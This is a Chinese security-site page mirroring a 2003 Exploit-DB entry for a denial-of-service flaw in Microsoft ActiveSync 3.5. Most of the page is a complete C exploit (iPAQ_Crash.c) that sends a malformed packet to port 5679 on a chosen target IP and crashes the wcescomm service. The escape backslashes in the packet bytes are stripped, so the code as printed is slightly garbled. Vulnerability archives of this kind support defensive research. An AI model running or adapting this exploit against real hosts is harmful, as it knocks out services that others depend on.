Microsoft ActiveSync 3.5 – Null Pointer Dereference Denial of Service

Microsoft ActiveSync 3.5 – Null Pointer Dereference Denial of Service

漏洞ID 1053773 漏洞类型
发布时间 2003-03-20 更新时间 2003-03-20
图片[1]-Microsoft ActiveSync 3.5 – Null Pointer Dereference Denial of Service-安全小百科CVE编号 N/A
图片[2]-Microsoft ActiveSync 3.5 – Null Pointer Dereference Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22390
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7150/info

A problem with ActiveSync could make it possible for remote users to trigger a denial of service.

It has been reported that under some circumstances, the ActiveSync wcescomm service can be forced to crash. Due to improper handling of some requests, the wcescomm process becomes unstable. This can result in the process crashing, requiring a manual restart to resume service.

/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#define ASYNC_PORT 5679

int main(int argc, char **argv)
{

    unsigned char sendBuf[] =

/* Correct Header */

//"x00x00x00x00" /* Correct start of packet - by removing these 4
bytes the crash occurs */
"x6ex00x00x00" /* Length of the rest of the packet */
"x24x00x00x00"
"x03x00xa3x2b"
"x11x0ax00x00"
"x00x00x00x00"
"xc3x1dxddx0c" /* 0xc31ddd0c Device Identifier */
"x00x00x00x00"
"x24x00x00x00" /* 0x24 pointer to "Pocket_PC" */
"x38x00x00x00" /* 0x38 pointer to "PocketPC" */
"x4ax00x00x00" /* 0x4a pointer to "Compaq iPAQ H3800" */

/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */

"x50x00x6fx00x63x00x6bx00x65x00x74x00"
"x5fx00x50x00x43x00x00x00x50x00x6fx00x63x00x6bx00"
"x65x00x74x00x50x00x43x00x00x00x43x00x6fx00x6dx00"
"x70x00x61x00x71x00x20x00x69x00x50x00x41x00x51x00"
"x20x00x48x00x33x00x38x00x39x00x30x00x00x00";


    struct sockaddr_in servAddr;
    int s;

		 WSADATA WSAData;
		 		 if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
		 		 {
		 		 		 printf("WSAStartup failed.n");
		 		 		 WSACleanup();
		 		 		 exit(1);
		 		 }


		 if (argc != 2)
		 {
		 		 printf ("niPAQ_Crashn");
		 		 printf ("nUsage: %s <target IP address>n",argv[0]);
		 		 exit (1);
		 }



    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(argv[1]);
    servAddr.sin_port = htons(ASYNC_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));

    printf("Sending packet...");

		 if ( send(s, sendBuf, 118, 0) == 0)
    {
		 		 printf("Error sending packet...quittingnn");
		 		 exit (0);
    }


    closesocket(s);
    return(0);

}

相关推荐: Multiple Vendor mtr Vulnerability

Multiple Vendor mtr Vulnerability 漏洞ID 1104288 漏洞类型 Boundary Condition Error 发布时间 2000-03-03 更新时间 2000-03-03 CVE编号 N/A CNNVD-ID N/…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享